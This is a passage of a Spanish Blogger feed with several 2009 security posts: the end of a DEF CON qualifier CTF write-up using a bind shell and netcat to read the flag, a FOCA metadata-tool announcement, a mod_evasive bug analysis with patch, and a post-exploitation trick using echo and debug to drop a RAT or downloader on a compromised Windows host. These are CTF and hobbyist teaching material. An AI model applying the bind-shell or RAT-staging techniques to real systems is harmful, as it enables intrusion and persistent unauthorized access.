&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Probé con varias shellcodes, hasta probar una para FreeBSD que me funcionó perfectamente.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;nc pwn2.ddtek.biz 5832 &lt;&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Argumento pasado:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SjFFuC-T1iI/AAAAAAAAANM/bGUaVgqT0L4/s1600-h/image%5B97%5D.png"&gt;&lt;img style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" title="image" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SjFFuz595UI/AAAAAAAAANQ/DrsDJB7dqZY/image_thumb%5B53%5D.png?imgmax=800" width="418" border="0" height="189" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;La shellcode utilizada era una bind shell, vamos que deja un puerto a la escucha en el puerto 6969, pruebo y...eureka:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;nc pwn2.ddtek.biz 6969     
adsfadsf      
&lt;span style="color:#808080;"&gt;adsfadsf: not found       
&lt;/span&gt;pwd      
&lt;span style="color:#808080;"&gt;/usr/home/cabernet&lt;/span&gt;      
ls      
&lt;span style="color:#808080;"&gt;cabernet.exe       
key        
start_server.sh&lt;/span&gt;      
cat key      
&lt;span style="color:#808080;"&gt;Hacker Joe Where Are You?&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Esta última cadena era la necesaria para superar el reto, 100 puntos. Al finalizar el maratón 800 puntos logró alcanzar mi equipo, McLoving, que buen nombre :D&lt;/p&gt;  &lt;p align="justify"&gt;Los &lt;a href="http://sexy.pandas.es/blog/"&gt;Sexy pandas&lt;/a&gt;, un gran equipo español, terminaron terceros. Que genios. Suerte en Las Vegas fieras!&lt;/p&gt;  &lt;p align="justify"&gt;Si queréis aprender mas sobre el tema:   
&lt;a href="http://insecure.org/stf/smashstack.html"&gt;Smashing The Stack For Fun And Profit&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3545238937012408472?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3545238937012408472/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/06/solucion-reto-pwtent-pwnables-100.html#comment-form' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3545238937012408472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/3545238937012408472'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/06/solucion-reto-pwtent-pwnables-100.html' title='Solución reto Pwtent Pwnables 100 Defcon 17 Quals'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/SjFEpFtLv5I/AAAAAAAAALE/7r8MHBSN3vg/s72-c/DefconFinal_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-6024848357359604971</id><published>2009-04-21T01:04:00.003+02:00</published><updated>2009-06-10T17:44:01.487+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metadatos'/><title type='text'>La gorda FOCA</title><content type='html'>&lt;p align="justify"&gt;Todo empezó cuando &lt;a href="http://elladodelmal.blogspot.com/"&gt;me liaron&lt;/a&gt; con una aplicación destinada a extraer y eliminar los metadatos de documentos OpenOffice, &lt;a href="http://www.codeplex.com/OOMetaExtractor"&gt;OOMetaExtractor&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;“La cosa” se fue descontrolando, al poco tiempo ya trataba documentos de Office desde la versión 97 a la 2007 y mas tarde  PDFs. Pero la cosa nostra, no quedó ahí. Pensamos que sería cómodo que buscara y descargara documentos usado los buscadores Google y LiveSearch. Y así se hizo.&lt;/p&gt;  &lt;p align="justify"&gt;Una vez que la bola de nieve empieza a rodar…no hay quien la pare. El programa pintaba bien, así que requería una buena interfaz, iconos para todo, menús con todo tipo de opciones, colores y sabores. &lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/Sez_bW-9sdI/AAAAAAAAAKw/LKoUDhsjXTg/s1600-h/pdf%5B3%5D.png"&gt;&lt;img title="pdf" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="pdf" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sez_cVOv32I/AAAAAAAAAK0/vN53nJlg9HE/pdf_thumb%5B1%5D.png?imgmax=800" width="401" border="0" height="198" /&gt;&lt;/a&gt;Mirad cuantos colorines !!! &lt;/p&gt;  &lt;p align="justify"&gt;¿Y qué es de un programa sin un buen nombre? Como todo buen nombre primero se eligen las siglas, que sean impactantes, por ejemplo FOCA, un nombre fácil de recordar aunque no demasiado descriptivo... El significado de las siglas vino, creo recordar, acompañado de un buen vino , &lt;em&gt;Fingerprinting Organizations with Collected Archives.&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Aun quedaban mejoras por hacer. Pensamos que sería cómodo bajarse todos los documentos de una web, por ejemplo la casa blanca, sacar todos los usuarios de los metadatos, ponerlos todos juntos para guardarlos en un fichero y usarlos por ejemplo para hacer fuerza bruta o guardar los emails para “anunciar” nuestra potenciada viagra &amp;gt; Mas código, mas menús, mas ventanas.&lt;/p&gt;  &lt;p align="justify"&gt;Durante todo el proceso, &lt;a href="http://elladodelmal.blogspot.com/"&gt;Chema Alonso&lt;/a&gt; y Enrique Rando probaron insaciablemente todas las opciones y examinaron los metadatos extraídos proponiendo muchas mejoras y metadatos extra. Así que se fueron incorporando las versiones antiguas, el historial de edición y la información EXIF de las imágenes incrustadas &amp;gt; Mas código, mas menús , mas ventanas.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/Sez_dzDBPgI/AAAAAAAAAK4/053_weZ6OLg/s1600-h/doc2%5B3%5D.png"&gt;&lt;img title="doc2" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="doc2" src="http://lh5.ggpht.com/_FGFE7zLOsQk/Sez_fFcA-JI/AAAAAAAAAK8/Wod3wAkMcGE/doc2_thumb%5B1%5D.png?imgmax=800" width="400" border="0" height="381" /&gt;&lt;/a&gt;La cosa apunto de explotar &lt;/p&gt;  &lt;p align="justify"&gt;Ya por último decidimos que sería interesante coger todos los documentos editados por un mismo usuario y juntar los metadatos considerándolos del mismo equipo, así poder interpretar mas fácilmente toda la maraña de metadatos obtenidos. Así surgió la opción Analize Metadata &amp;gt; Mas y mas código.&lt;/p&gt;  &lt;p align="justify"&gt;La cosa llego muy lejos, hace unos días Chema Alonso y Enrique Rando hablaron en la &lt;a href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html"&gt;BlackHat Europe&lt;/a&gt; sobre la herramienta y los metadatos. Y con motivo de tan especial ocasión la FOCA fue liberada:  
&lt;a href="http://www.informatica64.com/DownloadFOCA/"&gt;Descarga&lt;/a&gt;, necesitáis &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=333325FD-AE52-4E35-B531-508D977D32A6"&gt;.NET Framework 3.5&lt;/a&gt;, preferiblemente en Windows Vista o Windows Server 2008 .&lt;/p&gt;  &lt;p align="justify"&gt;Manual de usuario (en construcción) (las imágenes fueron robadas de él): 
&lt;a href="http://elladodelmal.blogspot.com/2009/04/foca-manual-de-usuario-i-de-iv.html"&gt;FOCA, manual de usuario I de IV&lt;/a&gt;  
&lt;a href="http://elladodelmal.blogspot.com/2009/04/foca-manual-de-usuario-ii-de-iv.html"&gt;FOCA, manual de usuario II de IV
&lt;/a&gt;&lt;a href="http://elladodelmal.blogspot.com/2009/04/foca-manual-de-usuario-ii-de-iv.html"&gt;&lt;/a&gt;&lt;a href="http://elladodelmal.blogspot.com/2009/04/foca-manual-de-usuario-iii-de-iv.html"&gt;FOCA, manual de usuario III de IV&lt;/a&gt;
&lt;a href="http://elladodelmal.blogspot.com/2009/04/foca-manual-de-usuario-iv-de-iv.html"&gt;FOCA, manual de usuario IV de IV&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://elladodelmal.blogspot.com/search/label/Metadatos"&gt;Mas información relacionada&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Tened cuidado, suele morder a los desconocidos.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-6024848357359604971?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/6024848357359604971/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/la-gorda-foca.html#comment-form' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6024848357359604971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6024848357359604971'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/la-gorda-foca.html' title='La gorda FOCA'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/Sez_cVOv32I/AAAAAAAAAK0/vN53nJlg9HE/s72-c/pdf_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5333819492027269712</id><published>2009-04-16T20:22:00.003+02:00</published><updated>2011-02-02T19:16:58.201+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>¿Fallo de programación en mod_evasive?</title><content type='html'>&lt;p align="justify"&gt;&lt;a href="http://www.zdziarski.com/projects/mod_evasive/"&gt;mod_evasive&lt;/a&gt; es un módulo de apache que sirve para “esquivar” ataques de denegación de servicio. Detecta cuando un cliente está realizando excesivas peticiones y bloquea temporalmente su acceso o realiza otra acción configurable. &lt;/p&gt;  &lt;p align="justify"&gt;Hay muchos &lt;a href="http://www.emezeta.com/articulos/mod-evasive-evitando-denegacion-servicio-distribuida"&gt;“manuales”&lt;/a&gt; para instalar y configurar mod_evasive. Lo mas importante son los valores configurables en httpd.conf para definir su comportamiento, por defecto viene configurado así:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;code&gt;DOSHashTableSize 3097  
DOSPageCount 2   
DOSSiteCount 50   
DOSPageInterval 1   
DOSSiteInterval 1   
DOSBlockingPeriod 10&lt;/code&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Significando de DOSPageCount y DOSPageInterval, sacado de &lt;a href="http://www.emezeta.com/articulos/mod-evasive-evitando-denegacion-servicio-distribuida"&gt;emezeta.com&lt;/a&gt;:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;p align="justify"&gt;&lt;strong&gt;DOSPageCount&lt;/strong&gt; / &lt;strong&gt;DOSPageInterval&lt;/strong&gt;: Máximo (&lt;em&gt;umbral&lt;/em&gt;) que se debe alcanzar para ser incluído en la lista de bloqueados. En este caso el objetivo será una página concreta. (&lt;em&gt;Entiendase como «Máximo de &lt;tt&gt;DOSPageCount&lt;/tt&gt; páginas en &lt;tt&gt;DOSPageInterval&lt;/tt&gt; segundos»&lt;/em&gt;).&lt;/p&gt;      &lt;p align="justify"&gt;Por defecto el máximo está establecido a 2 páginas por segundo.&lt;/p&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;Genial, es muy útil, aunque no es raro que un cliente legítimo realice en un momento puntual 2 peticiones a una misma página en menos de un segundo, abriendo pestañas, algún script de recarga, o un php de acceso a imágenes…&lt;/p&gt;  &lt;p align="justify"&gt;Me parece mucho mas adecuado que bloquee una IP cuando ese índice de peticiones por segundo se perpetua en el tiempo. Por ejemplo 20 peticiones en 10 segundos, 2 peticiones por segundo durante 10 segundos (si, aprendí a multiplicar recientemente).&lt;/p&gt;  &lt;p align="justify"&gt;Así que establecí los siguientes valores en la configuración de mod_evasive:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;span style="font-family:Courier New;"&gt;DOSPageCount 20  
DOSPageInterval 10&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;apache reload y a gozar. &lt;/p&gt;  &lt;p align="justify"&gt;Al rato vi como se estaban bloqueando IPs que en principio no deberían ser bloqueadas. Verifiqué el access_log de apache y efectivamente, estaban realizando como mucho 5 peticiones cada 10 segundos. Un valor 4 veces menor(incluso sé dividir), muy lejano al máximo de 20 peticiones cada 10 segundos que hemos configurado. Lo verifiqué manualmente y en efecto, realizando una petición cada 5 segundos a las 20-21ava petición mod_evasive me bloqueaba.&lt;/p&gt;  &lt;p align="justify"&gt;Probé con diferentes valores, rango mas amplios, reiniciar apache, reinstalar y nada, esa cosa no funcionaba como decía. Maldita sea !&lt;/p&gt;  &lt;p align="justify"&gt;Estaba claro, yo no estaba entendiendo bien que significaban esos valores, porque sería muymuy raro que un módulo tan usado fallase en algo tan básico, ¿no? Así que me dispuse a leer la documentación oficial, el mítico README, que decía mas o menos lo mismo que lo que pegue arriba. Así que se me ocurrió la locura de echar un ojo al código fuente: “quizás ahí este explicado o vea una formula que explique su funcionamiento”.&lt;/p&gt;  &lt;p align="justify"&gt;El código, localizado en mod_evasive20.c, se puede entender, al menos la parte donde hace la verificación de si una IP está atacando o no.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SeaDPKb6HTI/AAAAAAAAAJ8/O7-48XzYgu0/s1600-h/image%5B20%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SeaDPx4zoFI/AAAAAAAAAKA/eA-EN6YJF50/image_thumb%5B10%5D.png?imgmax=800" width="396" border="0" height="160" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Resumen de los valores de las variables al realizar la comprobación:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;t&lt;/strong&gt;: Tiempo actual en segundos. Inicializado como:   
  &lt;span style="font-family:Courier New;"&gt;time_t t = time(NULL);&lt;/span&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;n-&amp;gt;timestamp&lt;/strong&gt;: &lt;strong&gt;n&lt;/strong&gt; es una tabla que se usa para relacionar URL-Numero de peticiones-Timestamp. &lt;strong&gt;timestamp&lt;/strong&gt; es una “marca de tiempo” que se establece en la primera petición y es actualizada cada DOSPageInterval segundos, en nuestro caso cada 10 segundos.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;page_interval&lt;/strong&gt;: Tiene el valor establecido en httpd.conf, DOSPageInterval. Intervalo en segundos durante el cual se medirá si se ha alcanzado el límite de peticiones. Como acabamos de decir, 10 segundos en nuestro caso.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;n-&amp;gt;count&lt;/strong&gt;: Número de peticiones realizadas a una misma página web, el valor se resetea cada DOSPageInterval segundos, en nuestro caso cada 10 segundos.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;&lt;strong&gt;page_count&lt;/strong&gt;: Tiene el valor configurado en httpd.conf, DOSPageCount. Máximo número de peticiones que se puede realizar a una misma página web. En nuestro caso 20.&lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p align="justify"&gt;Así podemos ver como la primera parte de la condición mira si desde el timestamp hasta el momento actual han transcurrido menos de 10 segundos, si esto ocurre pasa a la segunda parte de la condición que verifica si el número de peticiones realizadas es mayor que el máximo numero de peticiones permitidas.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Todo perfecto en teoría, pero a mi me funcionaba mal, así que hice un debug chapucero usando el macro LOG que añade un mensaje al log del sistema /var/log/syslog.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/SeaDQd9mN7I/AAAAAAAAAKE/gJW7s8BDDm0/s1600-h/image%5B16%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SeaDRLnrT7I/AAAAAAAAAKI/vy6Kz8vFJc0/image_thumb%5B8%5D.png?imgmax=800" width="410" border="0" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Recompilamos
&lt;span style="font-family:Courier New;"&gt;./apxs -cia mod_evasive20.c
&lt;/span&gt;Recargamos la configuración de apache
&lt;span style="font-family:Courier New;"&gt;/etc/init.d/apache reload&lt;/span&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Y empezamos a hacer una petición cada 5 segundos mientras miramos el syslog
&lt;span style="font-family:Courier New;"&gt;tailf –f /var/log/syslog | grep mod_evasive&lt;/span&gt;&lt;/p&gt;  &lt;p style="text-align: center;"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SeaDRhZYVTI/AAAAAAAAAKM/qu7tGzHOKiA/s1600-h/image%5B24%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SeaDSVnzheI/AAAAAAAAAKQ/eZw_7H5FuVk/image_thumb%5B12%5D.png?imgmax=800" width="412" border="0" height="155" /&gt;&lt;/a&gt;&lt;em&gt; *Paint art&lt;/em&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Como esperábamos cada 5 segundos se realiza una petición, hasta alcanzar las 6 peticiones de un máximo de 20. Pero esto sigue hasta que…&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SeaDTp0A2XI/AAAAAAAAAKU/FUy68X2R-TE/s1600-h/image%5B29%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SeaDUl1tWDI/AAAAAAAAAKY/x980z1vOMqk/image_thumb%5B15%5D.png?imgmax=800" width="419" border="0" height="183" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pero como es posible, está ****** nos banea con 20 peticiones en 200 segundos !!! El error parece estar en que nunca resetea el n-&amp;gt;count y en teoría cada 20 segundos debería resetearlo. Veamos en el código en que parte lo resetea…&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SeaDU7hxZPI/AAAAAAAAAKc/-PODhVNxEEo/s1600-h/image%5B44%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SeaDV1y2Z5I/AAAAAAAAAKg/SjpsghZedDM/image_thumb%5B22%5D.png?imgmax=800" width="428" border="0" height="177" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Cuando el tiempo actual en segundos, t, menos la marca de tiempo inicial, n-&amp;gt;timestamp, es mayor que el intervalo de tiempo, 10, se resetea n-&amp;gt;count. Es decir, una vez pasados los 10 primeros segundos debería resetear el contador n-&amp;gt;count, pero en los “logs” vemos que hay un problema, n-&amp;gt;timestamp se actualiza constantemente con el valor de la anterior petición (Señalado en azul).&lt;/p&gt;  &lt;p align="justify"&gt;La idea es que este timestamp se actualice solo cuando el contador se pone a 0&lt;/p&gt;  &lt;p align="center"&gt;&lt;img title="image" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SeaDWdUvuUI/AAAAAAAAAKk/usJ55DZK8CQ/image_thumb%5B25%5D.png?imgmax=800" width="312" border="0" height="140" /&gt;
*Paint genius&lt;/p&gt;  &lt;p align="justify"&gt;Recompilamos, reiniciamos y vemos el log&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SeaDW2PKr-I/AAAAAAAAAKo/QNPHv1kUbZE/s1600-h/image%5B53%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: block; float: none; margin-left: auto; margin-right: auto;" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SeaDXTwPrqI/AAAAAAAAAKs/5kkSs-hzulk/image_thumb%5B27%5D.png?imgmax=800" width="387" border="0" height="90" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Esto ya tiene mejor pinta, el contador n-&amp;gt;count se resetea cada 10 segundos y el valor n-&amp;gt;timestamp también. De modo que ahora si, solo bloqueará a aquellas IPs que hagan mas de 20 peticiones en 10 segundos.&lt;/p&gt;  &lt;p align="justify"&gt;Este mismo cambio hay que realizarle otra vez en la comprobación de páginas del sitio visitadas, situado unas pocas lineas mas abajo.&lt;/p&gt;  &lt;p align="justify"&gt;He intentado contactar con el autor de este modulo, para que me verificase que era un fallo y no una mala interpretación mía. Pero el modulo es de hace 4 años así que posiblemente el autor haya cambiado de correo.&lt;/p&gt;  &lt;p align="justify"&gt;mod_evasive es muy conocido y usado, es increíble que nadie haya notado que no funciona como debe o que no se hayan mirado el código fuente, de ahí mis dudas sobre si no estaré equivocado yo. Aunque por otra parte en la configuración por defecto se usa un valor de DOSPageInterval de 1 y entonces la continua actualización de n-&amp;gt;timestamp no entorpece el resto de comprobaciones, ya que solo se actualizará cada segundo (no tiene precisión de milisegundos) y si se realizan X peticiones por cada segundo serán detectadas correctamente.&lt;/p&gt;&lt;p align="justify"&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;Editado a 02/02/2011&lt;/b&gt;&lt;/span&gt;
A continuación pongo el parche que ha dejado Antonio en los comentarios:
&lt;/p&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="line-height: 20px; "&gt;&lt;span class="Apple-style-span" style="font-size: 13px; color: rgb(51, 51, 51); "&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: 13px; color: rgb(51, 51, 51); "&gt;El parche es este:&lt;/span&gt;
&lt;span class="Apple-style-span"&gt;--- mod_evasive20.c.orig 2005-10-08 21:01:18.000000000 +0200
+++ mod_evasive20.c 2011-02-02 18:00:25.000000000 +0100
@@ -168,9 +168,9 @@
/* Reset our hit count list as necessary */
if (t-n-&gt;timestamp&gt;=page_interval) {
n-&gt;count=0;
+ n-&gt;timestamp = t;
}
}
- n-&gt;timestamp = t;
n-&gt;count++;
} else {
ntt_insert(hit_list, hash_key, t);
@@ -190,9 +190,9 @@
/* Reset our hit count list as necessary */
if (t-n-&gt;timestamp&gt;=site_interval) {
n-&gt;count=0;
+ n-&gt;timestamp = t;
}
}
- n-&gt;timestamp = t;
n-&gt;count++;
} else {
ntt_insert(hit_list, hash_key, t);&lt;/span&gt;

&lt;span class="Apple-style-span" style="font-size: 13px; color: rgb(51, 51, 51); "&gt;lo copiamos y pegamos en un fichero, por ejemplo mod_evasive.patch, dentro del directorio mod_evasive, aplicamos el parche con:&lt;/span&gt;

&lt;span class="Apple-style-span" style="font-size: 13px; color: rgb(51, 51, 51); "&gt;patch -p0 &lt; ../mod_evasive.patch&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-size: 13px; color: rgb(51, 51, 51); "&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5333819492027269712?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5333819492027269712/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/fallo-de-programacion-en-modevasive.html#comment-form' title='19 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5333819492027269712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5333819492027269712'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/04/fallo-de-programacion-en-modevasive.html' title='¿Fallo de programación en mod_evasive?'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/SeaDPx4zoFI/AAAAAAAAAKA/eA-EN6YJF50/s72-c/image_thumb%5B10%5D.png?imgmax=800' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-3095325101832102272</id><published>2009-04-15T21:05:00.002+02:00</published><updated>2009-05-11T15:01:16.915+02:00</updated><title type='text'>Usar debug para generar ficheros ejecutables</title><content type='html'>&lt;p align="justify"&gt;Supongamos que hemos conseguido explotar satisfactoriamente un fallo remoto en un sistema operativo Windows y tenemos acceso mediante una shell a dicho sistema. O Dicho de otro modo, hemos usado Metasploit para petar el ordenador del vecino y ahora tenemos un cmd de su sistema :|&lt;/p&gt;  &lt;p align="justify"&gt;El siguiente paso será ejecutar una herramienta de administración remota para “asegurarnos” la permanencia en su sistema. Pero bueno solo tenemos una shell, tendremos que descargarnos el RAT, ¿no?&lt;/p&gt;  &lt;p align="justify"&gt;Para ello se podría usar &lt;a href="ftp://ftp.exe/"&gt;ftp.exe&lt;/a&gt;, si pero no siempre es posible, quizás el sistema no nos deje (permisos) o el firewall no nos permita acceder a ningún FTP. &lt;/p&gt;  &lt;p align="justify"&gt;A primera vista se nos puede ocurrir usar el comando echo para escribir valores hexadecimales sobre un fichero de salida, pero el comando no soporta valores hexadecimales como entrada, que raro, ¿no?&lt;/p&gt;  &lt;p align="justify"&gt;Lo que se puede usar es el comando echo para generar un fichero que pueda interpretar correctamente el comando debug y así generar el archivo que queramos. Con estos dos comandos podemos crear cualquier fichero en el sistema. Perfecto para generar un troyano o mejor un mini-downloader que baje el troyano. &lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://indetectables.net/foro/viewtopic.php?f=14&amp;amp;t=6293"&gt;Aquí&lt;/a&gt; se explica detalladamente como conseguirlo, con imágenes explicativas !&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/SeYv-RLf1NI/AAAAAAAAAJ0/QpPRx3UxgKY/s1600-h/image%5B3%5D.png"&gt;&lt;img title="image" style="border: 0px none ; display: inline;" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SeYv_gt_uGI/AAAAAAAAAJ4/_7aEpT3CSyI/image_thumb%5B1%5D.png?imgmax=800" width="390" border="0" height="219" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Resumiendo, hay un par de programas que una vez seleccionado un fichero te crean un bat con todos los echos y comandos necesarios para generar dicho fichero en un sistema remoto. Después, ya solo sería cuestión de tener paciencia e ir ejecutando cada línea de dicho bat en el sistema remoto.&lt;/p&gt;  &lt;p align="justify"&gt;Programas:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;&lt;a href="http://canecodromo.googlepages.com/file2dbg.rar"&gt;File2dbg&lt;/a&gt;&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;&lt;a href="http://foro.elhacker.net/scripting/bhb_convierte_archivo_a_texto_y_lo_reconstruye_en_batch_20-t223928.0.html"&gt;BHB 2.0&lt;/a&gt; (Binary in Batch)&lt;/li&gt; &lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-3095325101832102272?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/3095325101832102272/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' 